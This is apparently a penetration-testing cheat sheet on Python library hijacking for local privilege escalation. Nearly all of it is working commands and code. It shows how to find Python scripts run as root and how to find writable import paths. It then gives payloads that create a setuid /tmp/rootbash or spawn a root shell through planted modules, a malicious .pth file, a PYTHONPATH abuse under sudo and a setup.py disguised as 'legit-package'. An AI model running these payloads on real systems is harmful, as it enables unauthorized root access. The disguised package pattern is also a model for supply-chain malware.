Python Library Hijacking

1. Current directory of the script
2. PYTHONPATH environment variable
3. Default installation paths (/usr/lib/python3/dist-packages, etc.)

python3 -c 'import sys; print("\n".join(sys.path))'

# pspy
./pspy64 | grep python

# crontab
cat /etc/crontab | grep python
crontab -l | grep python

# systemd
grep -r "python" /etc/systemd/system/ 2>/dev/null

cat /opt/script.py | grep import

# /opt/script.py
import utils
utils.backup()

ls -la /opt/

# /opt/utils.py
import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

python3 -c 'import sys; print("\n".join(sys.path))' | while read p; do [ -w "$p" ] && echo "WRITABLE: $p"; done

find /usr/lib/python3* -writable -type d 2>/dev/null
find /usr/local/lib/python3* -writable -type d 2>/dev/null

echo 'import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' > /usr/lib/python3/dist-packages/target_module.py

sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/script.py
# env_keep+=PYTHONPATH

# /tmp/hijack/importedmodule.py
import os
os.system("/bin/bash")

sudo PYTHONPATH=/tmp/hijack /usr/bin/python3 /opt/script.py

ls -la /usr/lib/python3/dist-packages/used_module.py

echo -e 'import os\nos.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")\n' | cat - /usr/lib/python3/dist-packages/used_module.py > /tmp/mod.py && mv /tmp/mod.py /usr/lib/python3/dist-packages/used_module.py

find /usr/lib/python3* -name "*.pth" -writable 2>/dev/null
ls -la /usr/lib/python3/dist-packages/*.pth

echo 'import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' > /usr/lib/python3/dist-packages/evil.pth

from setuptools import setup
import os

os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

setup(
    name="legit-package",
    version="1.0",
)

sudo pip install .